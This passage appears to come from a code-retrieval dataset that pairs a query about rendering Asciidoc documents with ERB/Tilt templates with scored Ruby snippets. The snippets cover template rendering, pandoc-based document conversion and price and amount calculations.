self.smog_fee if self.smog_fee\n taxable_amount = taxable_amount + self.doc_fee if self.doc_fee\n taxable_amount = taxable_amount + self.reg_fee if self.reg_fee\n taxable_amount = taxable_amount + self.other_fee if self.other_fee\n taxable_amount = taxable_amount + self.gap_price if self.gap_price\n taxable_amount = taxable_amount + self.warranty_price if self.warranty_price\n taxable_amount = taxable_amount - self.trade_in_value if self.trade_in_value\n taxable_amount = taxable_amount + self.less_payoff if self.less_payoff\n return taxable_amount\n return taxable_amount\n end", "title": "" }, { "docid": "6e368b627aac5f12d55f6b96fa2cd412", "score": "0.6007848", "text": "def set_amount\n self.amount = input_invoice.payment_amount\n end", "title": "" }, { "docid": "3916f0fad6a21d99f43bd682a8369c7a", "score": "0.6003157", "text": "def amount_sign\n @amount = case RetrieveRecordType.new(type_id).from_data\n when 'debit'\n -@amount\n when 'credit'\n @amount.abs\n end\n end", "title": "" }, { "docid": "e3cea1741e8bd229ca66ee72e9b1fbec", "score": "0.6001605", "text": "def line_amount=(value); raise SettingTotalDirectlyNotSupported.new(:line_amount); end", "title": "" }, { "docid": "72a52e3dff7520140cb6768cbaad2724", "score": "0.60014945", "text": "def unit_price\n if persisted?\n self[:unit_price]\n else\n service.rate\n end\n end", "title": "" }, { "docid": "26f65465e14219808466c6e8b9af544c", "score": "0.59966445", "text": "def calculate_price\n self.price ||= expected_price\n end", "title": "" }, { "docid": "fcdbde59c143b6195d40e9488fe38dfb", "score": "0.599632", "text": "def amount\n amount_cents / 100.00 if amount_cents\n end", "title": "" }, { "docid": "fcdbde59c143b6195d40e9488fe38dfb", "score": "0.599632", "text": "def amount\n amount_cents / 100.00 if amount_cents\n end", "title": "" }, { "docid": "dc8926e7d6b2ab14becdba43b146d05f", "score": "0.5994218", "text": "def non_operating_funds\n amount - operating_funds\n end", "title": "" }, { "docid": "0148d3feebd79eef429d180c4b1654ef", "score": "0.5989658", "text": "def initialize(amount)\n @amount = amount\n end", "title": "" }, { "docid": "1e0addfe2ff8e1eb1678baf938b27f66", "score": "0.5989582", "text": "def money_attr_accessor(*args)\n money_attr_reader(*args)\n money_attr_writer(*args.reject { |s| s.to_s.include?('!') })\n end", "title": "" } ]
4cca3af51f6bc9badb8134ae087a12e2
Public: Render the Asciidoc document using Tiltcompatible templates in the specified path. template_base The String pathname of the directory containing templates. Examples Dir.entries(template_dir) => ['.', '..', 'document.html.erb', 'section.html.erb', 'section_paragraph.html.erb', ...] doc.render(template_dir) => "Doc Title\n\n Foo\n\n"
[ { "docid": "90bd0ba003f65535e857a361a7cb11b0", "score": "0.6406989", "text": "def render(template_dir)\n @renderer = Renderer.new(template_dir)\n html = @renderer.render('document', @root, :header => @header, :preamble => @preamble)\n @renderer = nil\n\n html\n end", "title": "" } ]
[ { "docid": "8ad77bf2b7cacd8e9cfd23c65bfa4b85", "score": "0.6217351", "text": "def render(filename, template, b = nil)\n @current_path = filename\n File.makedirs(File.dirname(filename))\n t = R2Doc::TemplateManager.load_template(\"#{template_name}/#{template.to_s}\")\n b = b.nil? ? binding : b\n \n File.open(filename, 'w') {|f| f.write t.result(b)}\n end", "title": "" }, { "docid": "6350e5f0408d111222b0acb1b66690fd", "score": "0.59641564", "text": "def render(template_path)\n template = File.open(template_path, 'r').read\n erb = ERB.new(template)\n erb.result(binding)\nend", "title": "" }, { "docid": "20d1c8645ac2796c8d81e95b768bd798", "score": "0.5936891", "text": "def render\n # read in markdown\n contents = load_file(@root, @doc_uri)\n title = find_title(contents, File.basename(@doc_uri, '.*'))\n\n wrapper_name = find_wrapper_page\n page = markdown(contents)\n unless wrapper_name.nil?\n page = ERB.new(load_file(@root, wrapper_name)).result(binding)\n end\n\n # final CGI rendering\n @template.result(binding)\n end", "title": "" }, { "docid": "20d1c8645ac2796c8d81e95b768bd798", "score": "0.5936891", "text": "def render\n # read in markdown\n contents = load_file(@root, @doc_uri)\n title = find_title(contents, File.basename(@doc_uri, '.*'))\n\n wrapper_name = find_wrapper_page\n page = markdown(contents)\n unless wrapper_name.nil?\n page = ERB.new(load_file(@root, wrapper_name)).result(binding)\n end\n\n # final CGI rendering\n @template.result(binding)\n end", "title": "" }, { "docid": "10445ced4cf03e57468a2512b20407bf", "score": "0.5890327", "text": "def render_template(template, filename = template)\n html = File.read(\"./app/views/#{template}.erb\")\n doc = ERB.new(html)\n\n yield if block_given?\n\n File.open(\"#{@rendered_path}/#{filename}\", \"w+\") do |f|\n f << doc.result(binding)\n end\n end", "title": "" }, { "docid": "f52945263c4ddc2602cc990689ba3500", "score": "0.5889312", "text": "def render(template, params={})\n path, tname = File.split(template)\n template = File.read(root + \"app/views\" + path + \"_#{tname}.html.erb\")\n Erubis::Eruby.new(template).result(hash_to_binding params)\n end", "title": "" }, { "docid": "6ace64518f1b32f571cd99faa1eb475d", "score": "0.5817614", "text": "def render_erb (path = @file_path)\n content = \"\"\n # need to make sure we are only the main index and not sub page\n base_dir = @file_path\n base_dir = \"/\" if @file_path==(\"/index.md\")\n begin\n content = File.read(@root + base_dir + path)\n t = ERB.new(content)\n content = t.result(binding)\n rescue StandardError => e\n #content = e.message\n #content = \"<!--#{e.message}-->\"\n content = \"\"\n end\n content\n end", "title": "" }, { "docid": "b08e1e501c0ac7eb1dd1f8e3b1a741a9", "score": "0.58069146", "text": "def render_template(template)\n render \"#{template_dir template}/#{template}\", status: select_template_status(template)\n end", "title": "" }, { "docid": "b08e1e501c0ac7eb1dd1f8e3b1a741a9", "score": "0.58069146", "text": "def render_template(template)\n render \"#{template_dir template}/#{template}\", status: select_template_status(template)\n end", "title": "" }, { "docid": "cb17f22e418c04458eef3b95fa5bcb90", "score": "0.5796546", "text": "def render(*args)\n options = args.last.is_a?(Hash) ? args.pop : {}\n options[:file] = args.shift if args.first.is_a?(String)\n raise ArgumentError, \"too many parameters\" unless args.empty?\n\n case\n when options[:file]\n file = options.delete :file\n unless file[0] == ?/\n dirs = [\".\",\n File.join(File.dirname(__FILE__), \"recipes\", \"templates\")]\n dirs.each do |dir|\n if File.file?(File.join(dir, file))\n file = File.join(dir, file)\n break\n elsif File.file?(File.join(dir, file + \".rhtml\"))\n file = File.join(dir, file + \".rhtml\")\n break\n end\n end\n end\n\n render options.merge(:template => File.read(file))\n\n when options[:template]\n erb = ERB.new(options[:template])\n b = Proc.new { binding }.call\n options.each do |key, value|\n next if key == :template\n eval \"#{key} = options[:#{key}]\", b\n end\n erb.result(b)\n\n else\n raise ArgumentError, \"no file or template given for rendering\"\n end\n end", "title": "" }, { "docid": "de217874881b1826547b5791bed7d24d", "score": "0.57802886", "text": "def render_template\n template = File.join(File.dirname(__FILE__), 'templates', \"#{format}.erb\")\n raise \"No such format - #{format}\" unless File.exist?(template)\n result = erb(template)\n publish(result) \n end", "title": "" }, { "docid": "f6921774d6ba1e2629b657ce8f54590e", "score": "0.5774636", "text": "def render(template)\n\t\tpath = File.expand_path(\"../views/#{template}\", __FILE__)\n\t\tERB.new(File.read(path)).result(binding)\n\tend", "title": "" }, { "docid": "ce5958fb951ee36a9a115ca33d47c9d0", "score": "0.57636094", "text": "def render(template)\n path = File.join(File.dirname(__FILE__), \"exacttarget/templates/#{template.to_s}.xml.erb\")\n file = File.open(path, 'r').read\n ERB.new(file, 0, '<>').result(binding)\n end", "title": "" }, { "docid": "80df483104a6d9ebeb142cc706024e05", "score": "0.5730218", "text": "def render\n old_template = template\n result = nil\n File.open(full_template_path, 'r') do |f|\n self.template = f.read\n result = render_string\n end\n\n result\n ensure\n self.template = old_template\n end", "title": "" }, { "docid": "233027c02931ba217831fd15adf13637", "score": "0.57182395", "text": "def render(template); end", "title": "" }, { "docid": "71135d73ed3f598c8ad4a084e859698c", "score": "0.5711627", "text": "def render(template, output = nil)\n result = ERB.new(File.read(template), 0, '-').result(binding)\n if !output.nil?\n File.open(output, \"w\") do |file|\n file.write(result)\n end\n else\n puts result\n end\n end", "title": "" }, { "docid": "6b7fc336f5064bb630f9dc28a2966d5c", "score": "0.56998706", "text": "def do_templating\n tmpl = @vars[:template]\n raise 'No template file provided' if tmpl.nil?\n # Find what directory the source file is located in\n filepath = @args[:path] ? get_file_dir(@args[:path]) : ''\n @template = read_file(filepath + tmpl)\n passable_args = @vars.dup\n passable_args.delete(:template)\n passable_args[:content] = @content.join(\"\\n\")\n merge_with_template(@template, passable_args)\n end", "title": "" }, { "docid": "aadb738895dcb596fed6f07cbd8c3b50", "score": "0.5677116", "text": "def render(template_name)\n # __FILE__ is a special variable that gives the filename of this file - \n # the one code is executing from right now\n current_dir = File.dirname(__FILE__)\n # here we join the directory info with the file name, creating a path\n # relative to controller_base.rb\n # template_path = \"views/#{self.class.to_s.underscore}/#{template_name}.html.erb\"\n template_path = File.join(\n current_dir, '..', 'views', \n self.class.name.underscore, \"#{template_name}.html.erb\")\n # read in the contents of the file at the template path\n template_contents = File.read(template_path)\n # create an ERB file from the path then call binding on the result\n # so that the context - variable data, methods, etc - is saved with the file\n view = ERB.new(template_contents).result(binding)\n # call render_content on the ERB file\n render_content(view, \"text/html\")\n end", "title": "" }, { "docid": "8bb9a4c0d8dfd756cb8b43ddf7d02a97", "score": "0.5675383", "text": "def render(template)\n Erubis::Eruby.new(File.read(\"#{TEMPLATES_PATH}/#{template}.html.erb\")).result(binding)\n end", "title": "" }, { "docid": "8bb9a4c0d8dfd756cb8b43ddf7d02a97", "score": "0.5675383", "text": "def render(template)\n Erubis::Eruby.new(File.read(\"#{TEMPLATES_PATH}/#{template}.html.erb\")).result(binding)\n end", "title": "" }, { "docid": "b5a026a7d3d6c3eec987738fd03a6ec2", "score": "0.56712544", "text": "def render(template_name)\n dir_name = File.dirname(File.dirname(__FILE__))\n path = File.join(dir_name, 'views', snake_case, \n \"#{template_name}.html.erb\")\n stuff = File.read(path)\n render_content(ERB.new(stuff).result(binding))\n end", "title": "" }, { "docid": "c47c19dd3786805060cdad7eb83ca0b8", "score": "0.5665338", "text": "def render(template_name)\n dir_path = File.dirname(__FILE__)\n # file directory\n template_path = File.join(\n dir_path,\n \"views\",\n # self.class.name.underscore, \n \"#{template_name}.html.erb\"\n )\n # join directory + views folder + template name along with the file type\n \n end", "title": "" }, { "docid": "6d1683e82bd90605cf1da1b93f9427e9", "score": "0.56641394", "text": "def render_document(input, outdir, outname, format, vars, config=nil)\r\n\r\n #TODO: Clarify the following\r\n # on Windows, Tempdir contains a drive letter. But drive letter\r\n # seems not to work in pandoc -> pdf if the path separator ist forward\r\n # slash. There are two options to overcome this\r\n #\r\n # 1. set tempdir such that it does not contain a drive letter\r\n # 2. use Dir.mktempdir but ensure that all provided file names\r\n # use the platform specific SEPARATOR\r\n #\r\n # for whatever Reason, I decided for 2.\r\n\r\n tempfile = input\r\n tempfilePdf = \"#{@tempdir}/x.TeX.md\".to_osPath\r\n tempfileHtml = \"#{@tempdir}/x.html.md\".to_osPath\r\n outfile = \"#{outdir}/#{outname}\".to_osPath\r\n outfilePdf = \"#{outfile}.pdf\"\r\n outfileDocx = \"#{outfile}.docx\"\r\n outfileHtml = \"#{outfile}.html\"\r\n outfileRtf = \"#{outfile}.rtf\"\r\n outfileLatex = \"#{outfile}.latex\"\r\n outfileText = \"#{outfile}.txt\"\r\n outfileSlide = \"#{outfile}.slide.html\"\r\n\r\n if vars.has_key? :frontmatter\r\n latexTitleInclude = \"--include-before-body=#{vars[:frontmatter].esc}\"\r\n else\r\n latexTitleInclude\r\n end\r\n\r\n #todo: make config required, so it can be reduced to the else part\r\n if config.nil? then\r\n latexStyleFile = File.dirname(File.expand_path(__FILE__))+\"/../../resources/default.wortsammler.latex\"\r\n latexStyleFile = File.expand_path(latexStyleFile).to_osPath\r\n css_style_file = File.dirname(File.expand_path(__FILE__))+\"/../../resources/default.wortsammler.css\"\r\n css_style_file = File.expand_path(css_style_file).to_osPath\r\n else\r\n latexStyleFile = config.stylefiles[:latex]\r\n css_style_file = config.stylefiles[:css]\r\n end\r\n\r\n\r\n toc = \"--toc\"\r\n toc = \"\" if vars[:usetoc]==\"nousetoc\"\r\n\r\n if vars[:documentclass]==\"book\"\r\n option_chapters = \"--chapters\"\r\n else\r\n option_chapter = \"\"\r\n end\r\n\r\n begin\r\n vars_string=vars.map.map{|key, value| \"-V #{key}=#{value.esc}\"}.join(\" \")\r\n rescue\r\n require 'pry';binding.pry\r\n end\r\n\r\n @log.info(\"rendering #{outname} as [#{format.join(', ')}]\")\r\n\r\n supported_formats=[\"pdf\", \"latex\", \"frontmatter\", \"docx\", \"html\", \"txt\", \"rtf\", \"slide\"]\r\n wrong_format=format - supported_formats\r\n wrong_format.each{|f|@log.error(\"format not supported: #{f}\")}\r\n\r\n begin\r\n\r\n if format.include?(\"frontmatter\") then\r\n\r\n ReferenceTweaker.new(\"pdf\").prepareFile(tempfile, tempfilePdf)\r\n\r\n cmd=\"pandoc -S #{tempfilePdf.esc} --latex-engine xelatex #{vars_string} --ascii -o #{outfileLatex.esc}\"\r\n `#{cmd}`\r\n end\r\n\r\n\r\n if (format.include?(\"pdf\") | format.include?(\"latex\")) then\r\n @log.debug(\"creating #{outfileLatex}\")\r\n ReferenceTweaker.new(\"pdf\").prepareFile(tempfile, tempfilePdf)\r\n\r\n cmd=\"pandoc -S #{tempfilePdf.esc} #{toc} --standalone #{option_chapters} --latex-engine xelatex --number-sections #{vars_string}\" +\r\n \" --template #{latexStyleFile.esc} --ascii -o #{outfileLatex.esc} #{latexTitleInclude}\"\r\n `#{cmd}`\r\n end\r\n\r\n\r\n if format.include?(\"pdf\") then\r\n @log.debug(\"creating #{outfilePdf}\")\r\n ReferenceTweaker.new(\"pdf\").prepareFile(tempfile, tempfilePdf)\r\n #cmd=\"pandoc -S #{tempfilePdf.esc} #{toc} --standalone #{option_chapters} --latex-engine xelatex --number-sections #{vars_string}\" +\r\n # \" --template #{latexStyleFile.esc} --ascii -o #{outfilePdf.esc} #{latexTitleInclude}\"\r\n cmd=\"xelatex -halt-on-error -interaction nonstopmode -output-directory=#{outdir.esc} #{outfileLatex.esc}\"\r\n #cmdmkindex = \"makeindex \\\"#{outfile.esc}.idx\\\"\"\r\n\r\n latex=LatexHelper.new.set_latex_command(cmd).setlogger(@log)\r\n latex.run(outfileLatex)\r\n\r\n messages=latex.log_analyze(\"#{outdir}/#{outname}.log\")\r\n\r\n removeables = [\"toc\", \"aux\", \"bak\", \"idx\", \"ilg\", \"ind\" ]\r\n removeables << \"log\" unless messages > 0\r\n\r\n\r\n removeables << \"latex\" unless format.include?(\"latex\")\r\n removeables = removeables.map{|e| \"#{outdir}/#{outname}.#{e}\"}.select{|f| File.exists?(f)}\r\n removeables.each{|e| \r\n @log.debug \"removing file: #{e}\"\r\n FileUtils.rm e\r\n }\r\n end \r\n\r\n if format.include?(\"html\") then\r\n #todo: handle css\r\n @log.debug(\"creating #{outfileHtml}\")\r\n\r\n ReferenceTweaker.new(\"html\").prepareFile(tempfile, tempfileHtml)\r\n\r\n cmd=\"pandoc -S #{tempfileHtml.esc} --toc --standalone --self-contained --ascii --number-sections #{vars_string}\" +\r\n \" -o #{outfileHtml.esc}\"\r\n\r\n `#{cmd}`\r\n end\r\n\r\n if format.include?(\"docx\") then\r\n #todo: handle style file\r\n @log.debug(\"creating #{outfileDocx}\")\r\n\r\n ReferenceTweaker.new(\"html\").prepareFile(tempfile, tempfileHtml)\r\n\r\n cmd=\"pandoc -S #{tempfileHtml.esc} #{toc} --standalone --self-contained --ascii --number-sections #{vars_string}\" +\r\n \" -o #{outfileDocx.esc}\"\r\n cmd=\"pandoc -S #{tempfileHtml.esc} --toc --standalone --self-contained --ascii --number-sections #{vars_string}\" +\r\n \" -o #{outfileDocx.esc}\"\r\n `#{cmd}`\r\n end\r\n\r\n if format.include?(\"rtf\") then\r\n @log.debug(\"creating #{outfileRtf}\")\r\n ReferenceTweaker.new(\"html\").prepareFile(tempfile, tempfileHtml)\r\n\r\n cmd=\"pandoc -S #{tempfileHtml.esc} --toc --standalone --self-contained --ascii --number-sections #{vars_string}\" +\r\n \" -o #{outfileRtf.esc}\"\r\n `#{cmd}`\r\n end\r\n\r\n if format.include?(\"txt\") then\r\n @log.debug(\"creating #{outfileText}\")\r\n\r\n ReferenceTweaker.new(\"pdf\").prepareFile(tempfile, tempfileHtml)\r\n\r\n cmd=\"pandoc -S #{tempfileHtml.esc} --toc --standalone --self-contained --ascii --number-sections #{vars_string}\" +\r\n \" -t plain -o #{outfileText.esc}\"\r\n `#{cmd}`\r\n end\r\n\r\n if format.include?(\"slide\") then\r\n @log.debug(\"creating #{outfileSlide}\")\r\n\r\n ReferenceTweaker.new(\"slide\").prepareFile(tempfile, tempfilePdf)\r\n #todo: hanlde stylefile\r\n cmd=\"pandoc -S #{tempfileHtml.esc} --toc --standalone --number-sections #{vars_string}\" +\r\n \" --ascii -t dzslides --slide-level 2 -o #{outfileSlide.esc}\"\r\n `#{cmd}`\r\n end\r\n rescue Exception => e\r\n @log.error \"failed to perform #{cmd}, \\n#{e.message}\"\r\n @log.error e.backtrace.join(\"\\n\")\r\n #TODO make a try catch block kere\r\n end\r\n nil\r\n end", "title": "" }, { "docid": "c36ce8343100e930978895ca86d1aab6", "score": "0.56597143", "text": "def render(template_name)\n dir_path = File.dirname(__FILE__)\n template_fname = File.join(\n dir_path, \"..\",\n \"views\", self.class.name.underscore, \"#{template_name}.html.erb\"\n )\n\n\n template_code = File.read(template_fname)\n\n # calls the render_content method,\n # and passes the content\n render_content(\n ERB.new(template_code).result(binding),\n \"text/html\"\n )\n end", "title": "" }, { "docid": "4165623e4a6a6d3d7dd9f70d13c55783", "score": "0.56473017", "text": "def render(template_name)\n #what is this syntax\n\n dir_path = File.dirname(__FILE__)\n template_fname = File.join(\n dir_path, \"..\",\n \"views\", self.class.name.underscore, \"#{template_name}.html.erb\"\n )\n\n template_code = File.read(template_fname)\n\n render_content(\n ERB.new(template_code).result(binding),\n \"text/html\"\n )\n end", "title": "" }, { "docid": "7530d83d55147273c286b6d2e9fb2906", "score": "0.5632746", "text": "def render(template_name)\n \n # 1 - path = set up your path\n # 1a look up ActiveSupport#underscore\n # 1b think of following path views/#{controller_name}/template_name.html.erb\n # 2 - file = File.read(path)\n # 3 - create your ERB template with ERB.new(file)\n pn = Pathname(__FILE__).dirname.parent.to_s\n path = pn + ActiveSupport::Inflector.underscore(\"/Views::#{self.class.name}\") + \"/#{template_name}.html.erb\"\n file = File.read(path)\n result = ERB.new(file).result(binding)\n render_content(result, 'text/html')\n end", "title": "" }, { "docid": "08f0ec3852aa26e25115b33dfa84c3c9", "score": "0.5623949", "text": "def render(root,dir,fn)\n\t\t# If it has < in it, it's probably just a snippet\n\t\tif fn.include?(\"<\") then return fn end\n\n\t\t# Read file\n\t\tpath = fn.start_with?('/') ? File.join(root,fn) : File.join(root,dir,fn)\n\t\tif !File.exist?(path) then puts \"Couldn't find #{path}\"; return \"\" end\n\t\tstr = File.read(path)\n\n\t\t# Render\n\t\tfn.end_with?('.md') ? @markdown.render(str) : \n\t\t\tfn.end_with?('.erb') ? Erubis::Eruby.new(str).result(@renderer.context) : \n\t\t\tstr\n\tend", "title": "" }, { "docid": "96402483e2ed2a7ce6d513c9bae97a28", "score": "0.56178564", "text": "def render\n\tcontent = \"\"\n\n\tf = File.new(\"public/blog.html\", \"r\")\n\ttemplate = f.read\n\tf.close\n\n\ttemplate = render_pageurls(template, count_pages)\n\ttemplate = render_dateselect(template)\n\t# Render articles is destroys the article list so should probably be called last\n\ttemplate = render_articles(template)\nend", "title": "" }, { "docid": "b63132363a8f99033c04f2e664daf343", "score": "0.561294", "text": "def render_template(path)\n RenderTemplate.new(path.to_s)\n end", "title": "" }, { "docid": "7042c70953f35aa3a014104b4f7b8757", "score": "0.5610089", "text": "def render_file template, *args\n template = path_to_templates(template) unless template.instance_of?(EView__ExplicitPath)\n render_partial template, *args\n end", "title": "" }, { "docid": "7589f37a68e9e21f749e8cd77f9771e7", "score": "0.5593963", "text": "def walk(root,dir='')\n\t\t# Should read template from file (or use default from root)\n\t\ttemplate_path = File.join(root,dir,\"_template.json\")\n\t\tif File.exist?(template_path)\n\t\t\ttemplate = JSON.parse(File.read(template_path))\n\t\t\tif dir=='' then @default_template=template end\n\t\telse\n\t\t\ttemplate = @default_template\n\t\tend\n\n\t\tFileUtils.mkdir_p(File.join(@target,dir))\n\t\tDir.foreach(File.join(root,dir)) do |fn|\n\t\t\tnext if fn=~/^\\.+$/ || fn=='_template.json'\n\t\t\tpath = File.join(root,dir,fn)\n\t\t\ttarget_path = File.join(@target,dir,fn)\n\t\t\tif File.directory?(path) then walk(root,File.join(dir,fn)); next end\n\t\t\tmatch,gen = template.find { |wildcard,gen| File.fnmatch?(wildcard,fn) }\n\t\t\tif match\n\t\t\t\t# Render all partials in order\n\t\t\t\[email protected] = { \n\t\t\t\t\tembed: ->(file) { render(root,dir,file) },\n\t\t\t\t\tset: ->(hash) { @renderer.context.merge!(hash) }\n\t\t\t\t}\n\t\t\t\tpartial = render(root,dir,fn)\n\t\t\t\tunless @renderer.context[:title]\n\t\t\t\t\ttitle = fn\n\t\t\t\t\tif partial=~/<h\\d>(.+?)<\\/h\\d>/ then title=$1 end\n\t\t\t\t\[email protected][:title] = title\n\t\t\t\tend\n\t\t\t\toutput = (gen['before'] || []).collect { |fr| render(root,dir,fr) }.join('')\n\t\t\t\toutput += partial\n\t\t\t\toutput += (gen['after' ] || []).collect { |fr| render(root,dir,fr) }.join('')\n\t\t\t\ttarget_path.gsub!(/\\.\\w+?$/,'.html')\n\t\t\t\tFile.write(target_path, output)\n\t\t\telse\n\t\t\t\tif !File.exist?(target_path) ||\n\t\t\t\t\tFile.size(path)!=File.size(target_path) ||\n\t\t\t\t\tFile.mtime(target_path)<File.mtime(path)\n\t\t\t\t FileUtils.copy(path, target_path)\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend", "title": "" }, { "docid": "ac92ff2804cf592aaa3ae10d5d9000e1", "score": "0.55927974", "text": "def render\n raise \"unable to find template file: #{template}\" unless File.exists?(template)\n\n extension = File.extname(template)\n extension = extension.downcase if extension\n\n case extension\n when '.erb'\n contents = File.open(template, \"r\") {|f| f.read}\n ERB.new(contents, nil, '-').result(self.get_binding)\n when '.slim'\n Slim::Template.new(template, {:pretty => true}).render(self)\n else\n raise \"unsupported template type based on file extension #{extension}\"\n end\n end", "title": "" }, { "docid": "e96665f132387efeb524178252094d67", "score": "0.5569864", "text": "def render_template\n _render(:template)\n end", "title": "" }, { "docid": "510346443d56caad3706a127a89949ae", "score": "0.5547387", "text": "def template_for(file); end", "title": "" }, { "docid": "acfe41ce53708e8eb4f6cef0642b9b24", "score": "0.55417883", "text": "def render_doc_to(doc, out_stream, **opts)\n options = OpenStruct.new(opts)\n filename = options.filename\n data = options.data\n tm = options.template_manager\n tm ||= begin\n p = [Dir.getwd]\n p.unshift options.directory if EDST::Util.is_present?(options.directory)\n TemplateManager.new paths: p\n end\n\n ctx = Context.new(document: doc,\n template_manager: tm,\n options: options,\n filename: filename,\n data: data)\n doc.children.unshift EDST::AST.new(:comment, value: filename) if options.debug if filename\n out_stream << tm.render_template(options.template || default_template_name, ctx)\n\n ctx\n end", "title": "" }, { "docid": "8aac20aa340dd79b6d0a20374dbbe861", "score": "0.5528231", "text": "def render(path, context = Hash.new)\n full_path = normalize_template_path(path)\n original_template = self.template\n template = Rango::Template.new(full_path, self) # self is scope\n self.template = original_template\n return template.render(context)\n rescue Exceptions::TemplateNotFound # FIXME: this doesn't work\n raise SubtemplateNotFound, \"Template #{path} doesn't exist in #{full_path}\"\n end", "title": "" }, { "docid": "d5c05f2923fd66a313cd8c839d3189ac", "score": "0.5519323", "text": "def render_file(template_path, status = nil, use_full_path = false) #:doc:\n assert_existance_of_template_file(template_path) if use_full_path\n logger.info(\"Rendering #{template_path} (#{status || DEFAULT_RENDER_STATUS_CODE})\") unless logger.nil?\n\n add_variables_to_assigns\n render_text(@template.render_file(template_path, use_full_path), status)\n end", "title": "" }, { "docid": "dde787c3ba59de5950b54406ef559174", "score": "0.5487344", "text": "def render(template_name)\n t_path = \"views/#{self.class.to_s.underscore}/#{template_name}.html.erb\"\n t_content = File.read(t_path)\n \n erb = ERB.new(t_content)\n render_content(erb.result(binding), 'text/html')\n end", "title": "" }, { "docid": "d6b036b8523e4a9a0fb113d76039a9f7", "score": "0.54819465", "text": "def render(template_name)\n #Use controller & template_name to construct path\n directory_path = Dir.pwd\n # dir_path = File.dirname(__FILE__)\n path = directory_path + '/views/' + self.class.to_s.underscore + '/' + template_name.to_s + '.html.erb'\n f = File.read(path) #Use File.red to read template file\n #Create new ERB template from contents\n #Evaluate ERB template using binding to capture controller's instance vaiarlbes\n content = ERB.new(f).result(binding)\n #result(binding) - allows you to pull out/use anything in ERB tag\n #Pass result ot render_content with a content_type='text/html'\n render_content(content, 'text/html')\n end", "title": "" }, { "docid": "41556755002e92de43fb6e28a7446eaa", "score": "0.5472048", "text": "def render(template_name)\n loc = File.dirname(__FILE__)\n loc = loc.split('/')[0..-2].join('/')\n loc += \"/views/\"\n loc += self.class.name.match(/^[A-Z][a-z]+/).to_s.downcase\n loc += '_controller/'\n template_content = File.read(loc + template_name.to_s + '.html.erb')\n template_content = ERB.new(template_content)\n render_content(template_content.result(binding), 'text/html')\n end", "title": "" }, { "docid": "1589bd80d8165159969978235cd61939", "score": "0.5465336", "text": "def render(template, context = {})\n return nil unless exist?(template)\n\n path = File.join(@template_path, template + \".erb\")\n layout_context = context.merge(partial: ERB.new(File.read(path)).result(Yokunai::RenderContext.new(context).get_binding))\n\n ERB.new(@raw_layout).result(Yokunai::RenderContext.new(layout_context).get_binding)\n end", "title": "" }, { "docid": "2023ce4e96332e22b8e0d62d9155fef0", "score": "0.5463937", "text": "def render(template_name)\n folder = self.class.name.underscore\n filepath = \"views/#{folder}/#{template_name}.html.erb\"\n html_str = File.read(filepath)\n rendered = ERB.new(html_str).result(binding)\n render_content(rendered, \"text/html\")\n end", "title": "" }, { "docid": "7289d24b662b4383c3750ac700836696", "score": "0.5463539", "text": "def do(template, object)\n Dir.mkdir(@base_dir) if (not File.exist?(@base_dir) or not File.directory?( @base_dir ))\n output = compile_erb template, object\n flush_page object.path, output\n output\n end", "title": "" }, { "docid": "7655504adbed5eb355ddb86a5649c047", "score": "0.54570264", "text": "def render(template_name)\n file_path = \"./views/#{self.class.to_s.underscore}/#{template_name}.html.erb\"\n template = File.read(file_path)\n compiled_template = ERB.new(template)\n content = compiled_template.result(binding)\n type = 'text/html'\n render_content(content, type)\n end", "title": "" }, { "docid": "190ecaeac44dba134807d07937bc4d3b", "score": "0.54545933", "text": "def render(template)\n ERB.new(template).result(binding)\n end", "title": "" }, { "docid": "87e30209f54a1f9f58db403107ac06bf", "score": "0.5452629", "text": "def template_for(name, partial = false)\n File.open( File.expand_path(\"../templates/doc/#{ partial ? \"_\" : \"\" }#{name}.html.erb\", __FILE__) ).read\n end", "title": "" }, { "docid": "512c49175d5a5ae88fd00f7e62014b44", "score": "0.54510176", "text": "def create_skeleton_ddoc(project_dir)\n if Dir.exists? project_dir\n puts \"Error: #{project_dir} already exists, try a different name\"\n exit 1\n end\n puts \"Create skeleton design document project : #{project_dir}\"\n DDOC_FILE_TEMPLATES.each do |filename, template|\n FileUtils.mkdir_p(File.dirname(project_dir + File::SEPARATOR + filename))\n f = File.new(project_dir + File::SEPARATOR + filename, File::CREAT|File::TRUNC|File::RDWR, 0644)\n f.puts(ERB.new(template).result(binding))\n f.close\n end\nend", "title": "" }, { "docid": "aa53700a9488cb51e1c54c4a9bd54ee8", "score": "0.54388064", "text": "def render(type = :template, content = '')\n raise ArgumentError.new \"No content specified\" if content.blank?\n \n raw = case type\n when :file\n File.read(content)\n when :template\n File.read(File.join(config.template_dir, content))\n when :inline\n content\n else\n raise ArgumentError.new \"Unknown render type: #{type}\"\n end\n erubis(raw)\n end", "title": "" }, { "docid": "673533eda395749bbe83e4e644b2c456", "score": "0.5433467", "text": "def render(template_name)\n path = self.class.name.underscore\n file = File.dirname(__FILE__) +\n \"/../app/views/#{path}/#{template_name}.html.erb\"\n # if File.exist?(file)\n # file = File.read(file)\n # else\n # file += \".erb\"\n # file =\n content = ERB.new(File.read(file)).result(binding)\n # end\n\n render_content(content, 'text/html')\n end", "title": "" }, { "docid": "5ed6df85112cbb0cb40e22aa7c339fa2", "score": "0.54309046", "text": "def render(template_name, template_content, merge_vars=nil)\n _params = {:template_name => template_name, :template_content => template_content, :merge_vars => merge_vars}\n return @master.call 'templates/render', _params\n end", "title": "" }, { "docid": "283c8fd0e0f7f814371108d298482a99", "score": "0.54294294", "text": "def render(params, options = {})\n # custom_delimiters = options['delimeters'] || nil\n replace_template_files = options[:replace].nil? ? true : options[:replace]\n\n renderer = Mustache.new\n\n template_files.each do |template|\n rendered_file = template.chomp(@template_ext)\n\n rendered_string = nil\n File.open(template, 'r') do |f|\n rendered_string = renderer.render(f.read, params)\n end\n # boo...\n # rendered_string = renderer.render_file(template, params)\n\n File.open(rendered_file, 'w') { |f| f.write(rendered_string) }\n\n FileUtils.rm template if replace_template_files\n end\n\n # return self so this can be at the end of a chained method\n self\n end", "title": "" }, { "docid": "3746b40076e9373f6b0248077689b44b", "score": "0.54270995", "text": "def template(filename, path)\n file = lib_file(with_correct_path_seperator(path))\n file.dirname.mkpath\n file.open(\"w+\") { |f| f << render(template_root(filename)) }\n end", "title": "" }, { "docid": "7ab8cb6d703e9f64a1e2bb2d8818c443", "score": "0.542663", "text": "def render\n ERB.new(File.read(@path_to_template)).result(@binding)\n end", "title": "" }, { "docid": "30346e18bcb856b03027d58fa438af23", "score": "0.5413897", "text": "def 